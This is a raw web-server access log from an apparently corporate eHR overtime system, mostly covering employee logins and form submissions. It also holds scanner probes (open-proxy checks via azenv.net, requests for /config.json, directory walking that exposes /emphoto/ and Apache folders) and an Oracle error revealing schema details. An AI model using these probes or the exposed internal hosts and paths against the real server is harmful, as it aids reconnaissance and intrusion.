[02/Dec/2025:17:31:21 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.52 - - [02/Dec/2025:17:31:23 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:17:31:23 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:17:31:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.52 - - [02/Dec/2025:17:31:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:17:31:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:17:31:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 100.64.0.1 - - [02/Dec/2025:17:35:12 +0800] "GET /login.htm HTTP/1.1" 404 207 100.64.0.1 - - [02/Dec/2025:17:35:12 +0800] "GET /login.htm HTTP/1.1" 404 207 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 100.64.0.1 - - [02/Dec/2025:17:40:22 +0800] "GET /login.htm HTTP/1.1" 404 207 100.64.0.1 - - [02/Dec/2025:17:40:22 +0800] "GET /login.htm HTTP/1.1" 404 207 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 100.64.0.1 - - [02/Dec/2025:18:11:30 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [02/Dec/2025:18:11:30 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:18:11:32 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [02/Dec/2025:18:11:32 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:18:54:40 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 100.64.0.1 - - [02/Dec/2025:18:54:40 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:18:59:23 +0800] "\x16\x03\x01\x01\x17\x01" 501 208 "-" "-" 100.64.0.1 - - [02/Dec/2025:18:59:23 +0800] "\x16\x03\x01\x01\x17\x01" 501 208 100.64.0.1 - - [02/Dec/2025:18:59:33 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 100.64.0.1 - - [02/Dec/2025:18:59:33 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:18:59:38 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [02/Dec/2025:18:59:38 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [02/Dec/2025:18:59:38 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [02/Dec/2025:18:59:38 +0800] "GET /robots.txt HTTP/1.1" 404 208 100.64.0.1 - - [02/Dec/2025:18:59:38 +0800] "GET /sitemap.xml HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [02/Dec/2025:18:59:38 +0800] "GET /sitemap.xml HTTP/1.1" 404 209 100.64.0.1 - - [02/Dec/2025:18:59:39 +0800] "GET /config.json HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [02/Dec/2025:18:59:39 +0800] "GET /config.json HTTP/1.1" 404 209 100.64.0.1 - - [02/Dec/2025:18:59:39 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [02/Dec/2025:18:59:39 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:18:59:39 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [02/Dec/2025:18:59:39 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [02/Dec/2025:18:59:39 +0800] "GET /eHR/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [02/Dec/2025:18:59:39 +0800] "GET /eHR/ HTTP/1.1" 200 649 100.64.0.1 - - [02/Dec/2025:18:59:39 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [02/Dec/2025:18:59:39 +0800] "GET /eHR1/ HTTP/1.1" 200 649 100.64.0.1 - - [02/Dec/2025:18:59:39 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [02/Dec/2025:18:59:39 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 100.64.0.1 - - [02/Dec/2025:18:59:40 +0800] "GET /idcard/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [02/Dec/2025:18:59:40 +0800] "GET /idcard/ HTTP/1.1" 200 649 100.64.0.1 - - [02/Dec/2025:18:59:40 +0800] "GET /Apache2.2/ HTTP/1.1" 404 208 100.64.0.1 - - [02/Dec/2025:18:59:40 +0800] "GET /Apache2.2/ HTTP/1.1" 404 208 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [02/Dec/2025:18:59:40 +0800] "GET /emphoto/ HTTP/1.1" 200 25152 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [02/Dec/2025:18:59:40 +0800] "GET /emphoto/ HTTP/1.1" 200 25152 100.64.0.1 - - [02/Dec/2025:18:59:40 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [02/Dec/2025:18:59:40 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:18:59:40 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [02/Dec/2025:18:59:40 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [02/Dec/2025:18:59:40 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [02/Dec/2025:18:59:40 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 100.64.0.1 - - [02/Dec/2025:18:59:41 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [02/Dec/2025:18:59:41 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 100.64.0.1 - - [02/Dec/2025:18:59:41 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/ HTTP/1.1" 200 10845 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [02/Dec/2025:18:59:41 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/ HTTP/1.1" 200 10845 100.64.0.1 - - [02/Dec/2025:19:05:18 +0800] "GET / HTTP/1.1" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [02/Dec/2025:19:05:18 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:19:17:43 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 100.64.0.1 - - [02/Dec/2025:19:17:43 +0800] "GET / HTTP/1.1" 200 439 192.168.11.80 - - [02/Dec/2025:19:23:35 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [02/Dec/2025:19:23:35 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.80 - - [02/Dec/2025:19:23:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [02/Dec/2025:19:23:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.80 - - [02/Dec/2025:19:23:44 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [02/Dec/2025:19:23:44 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.80 - - [02/Dec/2025:19:23:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [02/Dec/2025:19:23:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.80 - - [02/Dec/2025:19:23:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [02/Dec/2025:19:23:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.80 - - [02/Dec/2025:19:24:07 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8951258295907192 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [02/Dec/2025:19:24:07 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8951258295907192 HTTP/1.1" 200 8588 192.168.11.80 - - [02/Dec/2025:19:24:10 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8951258295907192 HTTP/1.1" 200 10764 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8951258295907192" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [02/Dec/2025:19:24:10 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8951258295907192 HTTP/1.1" 200 10764 192.168.11.80 - - [02/Dec/2025:19:24:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4068 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [02/Dec/2025:19:24:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4068 192.168.11.80 - - [02/Dec/2025:19:24:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [02/Dec/2025:19:24:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.80 - - [02/Dec/2025:19:24:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [02/Dec/2025:19:24:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.80 - - [02/Dec/2025:19:24:34 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.32660396773005673 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [02/Dec/2025:19:24:34 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.32660396773005673 HTTP/1.1" 200 8588 192.168.11.80 - - [02/Dec/2025:19:24:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.32660396773005673 HTTP/1.1" 200 10764 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.32660396773005673" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [02/Dec/2025:19:24:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.32660396773005673 HTTP/1.1" 200 10764 192.168.11.80 - - [02/Dec/2025:19:24:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4068 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [02/Dec/2025:19:24:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4068 192.168.11.80 - - [02/Dec/2025:19:24:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [02/Dec/2025:19:24:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.80 - - [02/Dec/2025:19:25:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [02/Dec/2025:19:25:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 192.168.11.80 - - [02/Dec/2025:19:25:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12490 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [02/Dec/2025:19:25:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12490 100.64.0.1 - - [02/Dec/2025:19:51:06 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)" 100.64.0.1 - - [02/Dec/2025:19:51:06 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:19:54:19 +0800] "MGLNDD_222.92.19.198_8088" 501 227 "-" "-" 100.64.0.1 - - [02/Dec/2025:19:54:19 +0800] "MGLNDD_222.92.19.198_8088" 501 227 192.168.11.60 - - [02/Dec/2025:20:00:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:00:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.60 - - [02/Dec/2025:20:00:25 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:00:25 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.60 - - [02/Dec/2025:20:00:43 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:00:43 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:20:00:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20159 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:00:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20159 192.168.11.60 - - [02/Dec/2025:20:00:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:00:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.60 - - [02/Dec/2025:20:00:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:00:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.60 - - [02/Dec/2025:20:00:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:00:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.60 - - [02/Dec/2025:20:01:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:01:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.60 - - [02/Dec/2025:20:01:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:01:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.60 - - [02/Dec/2025:20:02:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:02:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:20:02:37 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=%E4%BF%9D%E5%AD%98%E5%8A%A0%E7%8F%AD%E8%B3%87%E6%96%99%E7%94%B3%E8%AB%8B%E6%99%82%E5%87%BA%E9%8C%AF%2C%E5%8E%9F%E5%9B%A0%3AORA-12899%3A+value+too+large+for+column+%22HCP%22.%22HR_OVERTIME_FLOW_SZ%22.%22REMARK%22+%28actual%3A+108%2C+maximum%3A+100%29&target=iframe HTTP/1.1" 200 3193 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:02:37 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=%E4%BF%9D%E5%AD%98%E5%8A%A0%E7%8F%AD%E8%B3%87%E6%96%99%E7%94%B3%E8%AB%8B%E6%99%82%E5%87%BA%E9%8C%AF%2C%E5%8E%9F%E5%9B%A0%3AORA-12899%3A+value+too+large+for+column+%22HCP%22.%22HR_OVERTIME_FLOW_SZ%22.%22REMARK%22+%28actual%3A+108%2C+maximum%3A+100%29&target=iframe HTTP/1.1" 200 3193 192.168.11.60 - - [02/Dec/2025:20:02:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:02:40 